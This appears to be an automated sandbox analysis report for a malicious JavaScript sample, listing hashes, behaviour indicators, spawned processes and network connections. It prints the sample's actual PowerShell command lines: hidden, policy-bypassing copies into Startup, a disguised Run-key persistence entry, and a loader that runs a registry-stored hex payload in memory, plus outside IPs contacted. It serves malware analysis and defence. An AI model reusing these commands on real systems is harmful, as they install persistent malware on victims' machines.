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File name:

demo.js

Full analysis: https://app.any.run/tasks/5c5e0dbe-812c-45de-88f8-0a97e722656a
Verdict: Malicious activity
Analysis date: August 25, 2019, 11:17:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

B2F241F155AF9C46DDA2E674680B712E

SHA1:

4AC4B476E86C13B3669EA0974D7D581FF49C8012

SHA256:

3E35ECB5B9F213E9C9CD0D2A9E15A775ED46D6AD5B481F8CFAAEB809E88D9B05

SSDEEP:

768:KBC2SbYOfO1mPxMjfUrklZE83shBkwRHhEI/JJfmvTNYdc5:vY1mP5rkjVHwRJJQYa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Changes the autorun value in the registry

      • powershell.exe (PID: 3812)
    • Writes to a start menu file

      • powershell.exe (PID: 4016)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2104)
      • powershell.exe (PID: 3812)
      • powershell.exe (PID: 2516)
      • powershell.exe (PID: 4016)
    • Executes scripts

      • powershell.exe (PID: 2104)
    • Executes PowerShell scripts

      • wscript.exe (PID: 2580)
      • WScript.exe (PID: 3632)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs wscript.exe no specs powershell.exe powershell.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
3632"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\demo.js"C:\Windows\System32\WScript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2104"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Public')+'\demo.js',[System.IO.File]::ReadAllText('C:\Users\admin\Desktop\demo.js'));wscript 'C:\Users\Public\demo.js'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2580"C:\Windows\system32\wscript.exe" C:\Users\Public\demo.jsC:\Windows\system32\wscript.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3812"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'NET Frimework' -value 'C:\Users\Public\demo.js' -PropertyType String -Force;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4016"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\demo.js',[System.IO.File]::ReadAllText('C:\Users\Public\demo.js'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2516"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\Run' -name 'Microsoft').Microsoft;$_b=$_b.replace('f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'5');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
967
Read events
738
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
8
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2104powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4GQWJUNTTNBV04U330WC.temp
MD5:
SHA256:
3812powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K36EOBLPI04UQXR7Q63X.temp
MD5:
SHA256:
4016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CFS6KQ0DVI2A4RHBJYGV.temp
MD5:
SHA256:
2516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3M1KRG7D83KXUNCHN49C.temp
MD5:
SHA256:
3812powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a155.TMPbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
4016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
2516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a184.TMPbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
2516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
3812powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
2104powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF169ba8.TMPbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
67
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2516
powershell.exe
82.146.50.128:5000
JSC ISPsystem
RU
malicious
2516
powershell.exe
37.203.214.30:5000
Inter Connects Inc
SE
unknown
82.146.50.128:5000
JSC ISPsystem
RU
malicious

DNS requests

No data

Threats

No threats detected
No debug info